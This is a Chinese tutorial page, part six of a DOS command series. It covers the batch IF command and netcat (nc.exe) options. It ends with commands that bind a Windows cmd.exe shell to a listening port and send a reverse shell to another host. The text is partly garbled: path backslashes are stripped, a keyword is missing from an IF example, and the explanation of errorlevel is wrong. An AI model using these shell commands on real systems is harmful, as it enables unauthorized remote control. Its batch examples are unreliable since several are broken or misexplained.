DOS命令珍藏经典（六）

　　一、if命令及变量 基本格式：

　　IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。

　　例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。

　　0 指发现并成功执行(真);1 指没有发现、没执行(假)。

　　IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即：字符串1 等于 字符串2)，就执行后面的命令。

　　例：“if "%2%"=="4" goto start”指：如果输入的第二个变量为4时，执行后面的命令(注意：调用变量时就%变量名%并加" ")

　　IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。

　　例：“if not nc.exe goto end”指：如果没有发现nc.exe文件就跳到":end"标签处。

　　IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来，因为del命令要单独一行时才能执行，用上< >后就等于是单独一行了;例如：“if exist test.txt. else echo test.txt.missing ”，注意命令中的“.”

　　二，系统外部命令(均需下载相关工具)：

　　1、瑞士军刀：nc.exe

　　参数说明：

　　-h 查看帮助信息

　　-d 后台模式

　　-e prog程序重定向，一但连接就执行[危险]

　　-i secs延时的间隔

　　-l 监听模式，用于入站连接

　　-L 监听模式，连接天闭后仍然继续监听，直到CTR+C

　　-n IP地址，不能用域名

　　-o film记录16进制的传输

　　-p[空格]端口 本地端口号

　　-r 随机本地及远程端口

　　-t 使用Telnet交互方式

　　-u UDP模式

　　-v 详细输出，用-vv将更详细

　　-w数字 timeout延时间隔

　　-z 将输入，输出关掉(用于扫锚时)

　　基本用法：

　　nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口

　　nc -l -p 80 开启本机的TCP 80端口并监听

　　nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口

　　nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口

　　nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口